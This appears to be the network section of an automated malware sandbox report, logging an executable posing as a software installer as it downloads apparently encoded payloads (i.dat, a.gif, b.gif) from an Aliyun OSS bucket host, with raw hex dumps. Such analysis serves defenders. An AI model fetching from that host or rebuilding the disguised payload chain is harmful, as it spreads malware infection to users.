Apr 28, 2025 16:41:05.030859947 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.030870914 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.030884027 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.358645916 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.358695030 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.358736992 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.358738899 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.358778954 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.358795881 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.358795881 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.358824015 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.358834982 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.358855963 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.358881950 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.358886003 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.358916044 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.358922005 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.358961105 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.360400915 CEST	49699	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.360416889 CEST	443	49699	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.377527952 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.377561092 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:05.377654076 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.377923965 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:05.377931118 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.163121939 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.163290977 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.165011883 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.165018082 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.165601015 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.165606976 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.497071028 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.497093916 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.497132063 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.497196913 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.497212887 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.497247934 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.497267008 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.497287989 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.497340918 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.804547071 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804606915 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804637909 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.804650068 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804676056 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804685116 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.804688931 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804713964 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.804729939 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.804774046 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804811954 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804836988 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.804841042 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804864883 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.804900885 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:07.804958105 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:07.804999113 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.114578962 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.114629984 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.114695072 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.114836931 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.114855051 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.114888906 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.114898920 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.114907026 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.114937067 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.114955902 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.114968061 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.114973068 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.114995003 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115014076 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115048885 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115071058 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115075111 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115178108 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115353107 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115381956 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115391970 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115405083 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115473032 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115510941 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115556955 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115683079 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115732908 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115937948 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115969896 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.115983963 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.115991116 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.116014004 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.116034031 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.157514095 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.157671928 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.198488951 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.198546886 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.421999931 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.422048092 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.422087908 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.422101021 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.422108889 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.422141075 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.422148943 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.422179937 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.422210932 CEST	443	49700	59.110.190.23	192.168.2.6
Apr 28, 2025 16:41:08.422244072 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.423516035 CEST	49700	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:41:08.423527956 CEST	443	49700	59.110.190.23	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 28, 2025 16:40:35.514339924 CEST	64657	53	192.168.2.6	1.1.1.1
Apr 28, 2025 16:40:35.810749054 CEST	53	64657	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 28, 2025 16:40:35.514339924 CEST	192.168.2.6	1.1.1.1	0x745f	Standard query (0)	4p2o8p.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 28, 2025 16:40:35.810749054 CEST	1.1.1.1	192.168.2.6	0x745f	No error (0)	4p2o8p.oss-cn-beijing.aliyuncs.com		59.110.190.23	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

4p2o8p.oss-cn-beijing.aliyuncs.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49694	59.110.190.23	443	6876	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 14:40:36 UTC	106	OUT	GET /i.dat HTTP/1.1 User-Agent: 3M Host: 4p2o8p.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-04-28 14:40:37 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Mon, 28 Apr 2025 14:40:37 GMT Content-Type: application/octet-stream Content-Length: 512 Connection: close x-oss-request-id: 680F93651F7AD93734086F5B Accept-Ranges: bytes ETag: "D620B05F8CA3EFF381F126E705B26319" Last-Modified: Sun, 27 Apr 2025 13:24:55 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 6832320072978171056 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 1iCwX4yj7/OB8SbnBbJjGQ== x-oss-server-time: 42
2025-04-28 14:40:37 UTC	512	IN	Data Raw: 07 1b 1b 1f 6c 25 30 30 04 40 02 5f 67 2f 71 30 43 43 1d 53 3d 7e 31 36 5f 5c 5f 58 3f 76 39 34 5d 4d 41 5a 39 29 74 39 56 54 16 58 76 3f 31 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 56 4a 4a 4e 3d 74 61 61 55 11 53 0e 36 7e 20 61 12 12 4c 02 6c 2f 60 67 0e 0d 0e 09 6e 27 68 65 0c 1c 10 0b 68 78 25 68 07 05 47 0a 24 6d 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 04 18 18 1c 6f 26 33 33 07 43 01 5c 64 2c 72 33 40 40 1e 50 3e 7d 32 35 5c 5f 5c 5b 3c 75 3a 37 5e 4e 42 59 3a 2a 77 3a 55 57 15 59 77 3e 30 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 57 4b 4b 4f 3c 75 60 60 54 10 52 0f 37 7f 21 Data Ascii: l%00@_g/q0CCS=~16_\_X?v94]MAZ9)t9VTXv?1>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>VJJN=taaUS6~ aLl/`gn'hehx%hG$mclllllllllllllllllllllllllllllllllo&33C\d,r3@@P>}25\_\[<u:7^NBY:*w:UWYw>0?????????????????????????????????WKKO<u``TR7!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49695	59.110.190.23	443	6876	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 14:40:38 UTC	106	OUT	GET /a.gif HTTP/1.1 User-Agent: 3M Host: 4p2o8p.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-04-28 14:40:39 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Mon, 28 Apr 2025 14:40:39 GMT Content-Type: image/gif Content-Length: 140941 Connection: close x-oss-request-id: 680F93675A53BB333347ED45 Accept-Ranges: bytes ETag: "7AF26B296715B679817DB8F2BC81CF61" Last-Modified: Sun, 27 Apr 2025 13:21:24 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12013359422338491538 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: evJrKWcVtnmBfbjyvIHPYQ== x-oss-server-time: 5
2025-04-28 14:40:39 UTC	3550	IN	Data Raw: 42 4d 6a 08 00 00 00 00 00 00 36 00 00 00 28 00 00 00 21 00 00 00 15 00 00 00 01 00 18 00 00 00 00 00 34 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3d 68 98 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2d 3a e2 46 51 e5 d9 db fa ff ff ff ff ff ff ff ff ff ff ff ff fd ed e3 f7 b7 8d f2 8c 48 f0 80 36 f0 80 36 f0 7f 36 f0 80 36 f0 7f 36 f0 80 36 f0 80 36 f0 80 36 00 2f 3d e0 2f 3b e3 2f 3b e3 2f 3b e3 2f 3b e3 2f 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e2 2e 3a e2 2e 3a e2 39 45 e4 b2 b7 f4 fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 fc e4 d5 f9 cb ad f7 b9 91 f6 b1 83 f6 b1 84 f7 ba 91 f9 cb ad fc e5 d6 00 2f Data Ascii: BMj6(!4=h.;.;.;.;.;.;.;.:.:.:.:.:.:.:-:FQH66666666/=/;/;/;/;/;.;.;.;.;.;.;.;.;.;.:.:9E/
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: 0b b5 b5 49 a2 a1 46 ba bb 37 b0 1d 73 c1 c1 f9 0b b0 d2 2d cc 71 c8 ca cb cc 32 db 75 2e d1 d2 58 d1 89 6e d6 d8 e2 1c af 37 56 db 8d 58 e0 e2 ab 6f b9 c2 d7 a0 62 9e cf d4 a5 6d 2b d0 ae 31 3f 38 bd 75 1b d0 11 bd 05 03 02 7b 3f 7f 0b ba fc fb fa 79 4f 8b cd 22 c8 44 8e ca 27 58 ee 37 bd df 14 16 db d4 51 93 47 38 15 49 57 a3 cd 02 6a af fd 6e ac d2 c1 3d d5 d3 d2 ab ef 4f 35 01 f3 df 24 73 04 f1 75 b1 f8 74 b6 e9 0c 89 be 57 6d 8f 44 46 0f c3 15 6e 7b 04 ce 8a 6f 0f 92 9e 9f 98 19 dd 95 10 d2 8b b2 e5 a2 a1 a0 ac 21 31 2b e7 89 46 2f e3 b0 82 bd 91 92 91 ea b0 0f 7b 3b ff be 89 62 71 b2 7b 7b 34 fe ba 5f db 42 4e 4f 48 cd 0f db ac 81 dd c3 0f 61 ae 04 4a d9 19 6a dc 10 5f e3 8e 71 3d 66 63 62 1b 5f de ac 29 70 ec 2e 69 58 bd 49 60 aa ac 46 ac 24 73 f9 Data Ascii: IF7s-q2u.Xn7VXobm+1?8u{?yO"D'X7QG8IWjn=O5$sutWmDFn{o!1+F/{;bq{{4_BNOHaJj_q=fcb_)p.iXI`F$s
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: b0 fc 38 a3 fd ca b8 ba f2 37 73 56 a5 32 3e 3d 8b 49 d0 8d b5 c9 c9 83 40 02 25 e9 3e 2f 2e 9a 58 1a 2a c3 85 37 d9 da 93 57 98 6e 9e 1f 24 a6 d8 8c e9 e9 61 d8 14 15 14 a8 66 8a cb a0 bd 7f b7 d0 95 31 b2 68 fb fa fb fc b5 73 aa 00 32 cb fc 11 39 ba 06 08 41 87 1e 11 7f 0f 0f 59 9a dc 57 9f d5 fe d5 e9 e6 e5 5e 97 d9 56 92 35 31 50 22 24 6c ad e9 c0 99 db d4 d3 68 a5 28 78 bc 27 3d 46 34 36 7e b3 f7 d2 a5 cd c2 c1 7a 73 81 0a ce 51 89 21 46 48 00 c1 85 a4 c1 bf b0 af b8 04 52 54 55 12 dc 3c 7d 0a 13 d1 48 e5 38 61 61 2a ee 69 f9 01 66 68 81 8d 84 93 92 2b e4 b5 39 ff 66 c1 12 77 77 30 f2 b2 33 f7 a5 96 25 71 7e 7d c2 3c 8e 87 87 c8 c1 07 9e 21 ea 8f 8f d8 1a 59 7b d1 64 69 68 dd aa 5a d3 17 56 76 21 50 5e 5d eb 2f 6e 4e 11 47 56 55 98 7e e5 25 64 58 61 Data Ascii: 87sV2>=I@%>/.X7Wn$af1hs29AYW^V51P"$lh(x'=F46~zsQ!FHRTU<}H8aaifh+9fww03%q~}<!Y{dihZVv!P^]/nNGVU~%dXa
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: b3 fc 3e 23 6f bc b9 ba f7 37 75 f6 36 8c e5 f2 8f 4f 06 8e 4a 45 21 ce cb cc 85 47 83 f4 f9 9a 5e 99 25 9e 5e 94 fd fa e8 15 22 cb 05 3f e1 e2 ab 6f 60 2e e3 e8 e9 a2 66 a0 c9 be a7 79 74 1a f3 f4 f5 c5 25 b0 74 7f 33 f8 fd fe be b8 99 02 03 04 4d 85 c7 00 41 83 8e 84 0d 0e 0f f8 f1 19 13 14 5d 9d 92 d0 1d 1a 1b 54 94 5a 3b 40 e6 66 07 74 30 26 27 68 ee 6e 0f 78 2c 2e 2f 30 ce 27 85 eb 35 36 b4 c0 38 72 b6 78 19 6e 77 c9 05 66 03 0c c8 03 b7 47 dd 89 03 c5 09 6a 07 63 98 ad 46 21 8a 56 57 10 d4 16 7f 1c a2 4b 3d bf 61 62 e6 a4 10 6a e3 b3 1c 62 e6 24 6e 86 d1 8e 8e 8d 3b ff e9 52 a7 7d 79 7a 33 fd b9 be 7a 80 81 df 40 48 cd 07 6b 10 89 8a 8b bf 5f c6 02 dc b5 b2 d7 19 d7 fe 7f c1 92 9a 9b d4 10 d2 bb 80 5e b7 ed 7b a5 a6 51 ec 8d f6 aa 14 a7 ae af b0 d7 Data Ascii: >#o7u6OJE!G^%^"?o`.fyt%t3MA]TZ;@ft0&'hnx,./0'568rxnwfGjcF!VWK=abjb$n;R}yz3z@Hk_^{Q
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: b2 fc 36 72 9f 7b f1 39 57 94 39 77 ca ca 29 9d c0 c4 c5 2e 75 cb c9 ca 7b cd 85 4d 0b f8 12 1e 1f 18 9d ed 1d ac c0 92 58 1e d4 96 52 a1 e8 aa c8 34 6f ee dd e4 f9 9f e1 a4 12 2e 6b 39 84 00 c0 34 36 ed 37 7b 31 fb 38 30 b5 7b 36 74 66 8a 57 20 15 4e 84 e4 41 8b 32 6f 7e 63 ef 65 42 91 6a 0c 11 63 5a 93 58 3a 36 3c 18 8d 06 a3 d9 20 54 64 6d ad 66 18 61 af eb 58 1a 66 4c 60 35 b7 e1 40 24 7e 34 69 01 72 b0 75 15 d6 15 40 41 42 a8 64 ae 58 b1 48 59 3e 52 04 c6 0f 67 18 da 5a 1b d1 9c 22 5a 10 d2 5b 13 d7 1d 4e a0 75 29 b3 63 64 2d e5 a3 20 aa a6 a7 a0 25 91 8d bc 31 21 3b f7 99 56 3f f3 a0 92 f9 7d 7d 7e 37 0b d1 da 68 8d cd bf 9d fc 9b c2 00 de 85 c6 0a 42 e4 60 1e d6 94 de 14 5c b9 c1 58 af 5d 75 69 6c e9 c1 a1 ec a6 67 24 d2 ad aa d7 ba e1 cd e5 b4 f9 Data Ascii: 6r{9W9w).u{MXR4o.k9467{180{6tfW NA2o~ceBjcZX:6< TdmfaXfL`5@$~4iru@ABdXHY>RgZ"Z[Nu)cd- %1!;V?}}~7hB`\X]uilg$
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: ab fc b6 6e f6 01 b8 ba bb bc f0 35 79 88 4a 11 8b 4f 0b 2e b9 da c9 ca 20 fc 85 43 98 d8 98 59 9d fc 3d 11 27 27 26 96 50 2c e4 81 c7 94 ed 0a 79 1f 1a 19 af 8b b6 f2 a3 ef 35 a3 64 36 b9 79 20 bc 7e 38 1f b9 eb fa fb 6c b5 75 a3 24 31 4a 88 70 21 3e 4f 83 75 2e 4b 44 8e ca 2f 51 4f d1 fb 4d 20 16 17 88 51 91 df 54 94 46 17 6c a8 62 3b 71 73 71 66 7c 68 7f 6a 7a 6c 79 67 b3 dd 52 7f bf 99 12 f7 38 39 3a 76 b7 c4 72 b4 a2 0d cf 0b 54 0d cd ae 05 c2 8f 02 c7 9a 07 c4 9c b9 25 a4 ab aa 1a dc d4 7d 8a 5b 5c 5d 12 d4 90 29 e9 d7 40 ad 66 67 68 24 ef a2 18 63 22 e4 b6 39 f9 a3 3c fe bb 9f a5 87 85 84 34 f6 f2 5b 58 81 82 83 0f dc 8e 0c b1 61 55 71 73 72 c6 ec de 9d df 18 5a d9 1d 13 bc 29 9a 9b 9c d5 9d 5e 2a 2d 86 5b a4 a5 a6 ef 23 7c 22 e7 88 fd e7 24 7c fd Data Ascii: n5yJO. CY=''&P,y5d6y ~8lu$1Jp!>Ou.KD/QOM QTFlb;qsqf\|hjzlygR89:vrT%}[\])@fgh$c"9<4[XaUqsrZ)^*-[#\|"$\|
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: fa 3f 78 5e 6d 53 46 45 50 a2 f9 35 1b e4 49 c2 c3 c4 8d 4d 73 ec 49 ca cb cc 81 45 b3 f4 a1 9e 58 b8 f1 fe 5c a4 fd fa 52 a0 f9 fa 36 ec 1e 1d 1c 0c fd 04 18 17 6a 92 db ec 93 e6 07 fd 13 0d 0c 0b bd c6 74 07 06 8e fe bd c6 02 80 24 45 89 c4 4c 8e d0 4e 83 c6 e2 99 e0 f2 f1 47 93 d5 22 52 4b 54 48 56 45 58 46 44 42 46 dd f7 6d 04 22 23 b4 cd 61 02 28 29 ba e7 e0 65 a7 73 14 39 7a ba 58 11 26 7f b1 4d 1e 23 6b 75 bd d3 60 09 c9 aa 0d ce be 0e c3 81 02 c0 be a5 d9 a3 af ae 1e de 18 71 1e 1b d3 9e 12 d0 8a 15 d5 92 eb b9 8a 05 83 9a 99 2b e3 ae 22 e0 ba 25 e5 a2 98 71 9e 8c 8b 4e ae 09 5b 3d f1 b8 34 f0 32 5b c8 c9 09 54 6c 9d 6a 78 77 cd 01 40 c0 06 49 c7 1b 47 da 18 59 7d 85 7b 67 66 71 8b d0 16 59 d7 2b 77 ea 28 69 4d 6d 4c 57 56 21 73 e4 26 c2 8b 88 3a Data Ascii: ?x^mSFEP5IMsIEX\R6jt$ELNG"RKTHVEXFDBFm"#a()es9zX&M#ku`q+"%qN[=42[Tljxw@IGY}{gfqY+w(iMmLWV!s&:
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: b2 b5 34 fe 3c a8 f4 31 73 f4 3e 7e b7 8c c2 08 8b 33 17 8f f4 19 80 e9 18 b8 25 86 44 80 29 56 01 a0 84 52 21 ac 9e 92 1a 36 cd 5a 0d 94 d8 66 15 90 ca ae 26 02 f9 6e 39 98 cc 6a 19 84 e6 33 19 e4 71 24 83 f2 7d 0c 8e 45 b5 73 bb 08 fe c1 4b 89 41 0e f9 cb 41 87 4f 04 f0 cd 47 9d 55 1a ef d7 5d 9b 53 10 e2 d9 53 91 59 16 e5 e3 69 af 67 2c dc e5 6f a5 6d 22 d3 ef 65 a7 73 14 39 7e ba 78 11 16 60 70 ba d6 1b 75 b6 e7 76 cb b9 c9 49 ac 01 60 47 48 d9 02 c0 83 a5 5d 4f 50 51 c2 d8 5f bd d1 71 58 59 12 d0 00 79 6e 17 e3 a5 42 3c a7 25 35 2f eb 85 5a 23 e7 b4 ee 52 c0 2e 73 73 74 7a f3 de 78 79 7a c3 7d 7d 7e 7f 07 84 0d dc 85 85 ce 0c 89 02 82 0e 45 f8 b0 c7 1b 94 25 de 95 95 de 1c 8d 19 c5 9a 9c d5 a5 4f d4 83 29 6b 27 44 99 ef 9b 6b e2 78 64 e4 14 df 98 68 Data Ascii: 4<1s>~3%D)VR!6Zf&n9j3q$}EsKAAOGU]SSYig,om"es9~x`puvI`GH]OPQ_qXYynB<%5/Z#R.sstzxyz}}~E%O)k'Dkxdh
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: ef 90 85 fe 34 7c 99 e5 78 70 f5 37 e3 e4 c9 8a 4a a8 e1 d6 8f 41 bd ee d3 9b 8c 98 8e 87 99 51 3f f4 9d 5d d6 eb 34 96 50 25 95 55 cf a8 64 30 ec 60 8d e7 e7 e8 a5 61 fe b1 d3 ef ef b1 7a 38 ba 7f 07 be c4 ca 7a 1b c4 b1 76 34 b7 d3 cf 4e 30 4e 0d 4f 8c d2 41 39 51 1c 44 dd c6 58 c2 d9 5f 2f de 19 92 bf 19 1a 1b 54 36 c0 a7 20 23 22 23 6c e4 dd 24 60 12 f2 63 a7 d6 66 20 77 c9 bf 76 14 7d 35 cc 70 36 7e c3 74 06 c5 4d 5e 05 cf 06 4c 0d cd 90 00 c2 84 a3 81 70 4e 4f 63 98 1e d8 a4 bd 2d 4f 58 59 17 de aa 28 76 17 ed 1a 66 22 dc 6d 66 67 68 21 e1 bc 24 e6 a0 87 d9 4c 72 73 47 bc 3a fc 88 91 2d 63 7c 7d 33 fa 76 8e 06 49 84 85 86 cb 03 9c 35 b6 8d 8d c3 02 9c 4f db 1e 88 6b df 1c 6e d1 11 50 d5 b6 57 d7 23 60 a5 eb 65 4c a5 eb 93 62 e2 a4 eb 60 e6 2a 79 c5 Data Ascii: 4\|xp7JAQ?]4P%Ud0`az8zv4N0NOA9QDX_/T6 #"#l$`cf wv}5p6~tM^LpNOc-OXY(vf"mfgh!$LrsG:-c\|}3vI5OknPW#`eLb`*y
2025-04-28 14:40:39 UTC	4096	IN	Data Raw: b3 b4 fd 3d fa 50 f1 31 f2 dc 55 ad b6 c0 c1 8a 48 89 2d 8e 4c 81 a1 22 cd c5 cd ce 87 5b 9c 3a 9b 5f 9c 9e 3f 21 d1 da db 94 56 93 37 a8 6a ab b3 0c 09 ee e7 e8 a1 61 a6 04 a5 65 a6 88 19 2d fb f4 f5 be 7c b5 11 b2 70 75 7d fe ff 00 e9 cd 0b 04 05 4e 8c 45 e1 42 80 85 cd 0d 0f 10 f9 ad 1b 14 15 5a 9a 55 39 56 96 59 ed 56 92 75 09 6a ae 69 3d ce f1 d5 d6 d5 67 a1 60 ce 63 bd 74 ca 7b b9 60 d2 7f b5 74 22 d3 05 c0 c1 c0 08 c2 86 03 19 86 8a 8b 84 01 c3 17 68 45 19 07 d3 bd 72 1b df ac 1e dc 82 11 d1 d2 cc 5d 5e 5f 28 e4 ab 17 48 8d bd 40 68 69 22 e0 e3 fd 6e 6f 70 39 49 7e 41 37 77 77 0c 6e 32 f6 79 59 50 7e 80 c9 b9 4b f0 8e 05 fe 98 89 ff 8e 64 39 ab 8f 90 d9 1b 0c 04 95 96 97 d0 1c 41 ef 94 d5 15 54 48 b5 87 a3 a4 ed 2d fb 8c 99 e2 28 68 8d f1 6c 7c f9 Data Ascii: =P1UH-L"[:_?!V7jae-\|pu}NEBZU9VYVuji=g`ct{`t"hEr]^_(H@hi"nop9I~A7wwn2yYP~Kd9ATH-(hl\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49696	59.110.190.23	443	6876	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 14:40:41 UTC	106	OUT	GET /b.gif HTTP/1.1 User-Agent: 3M Host: 4p2o8p.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
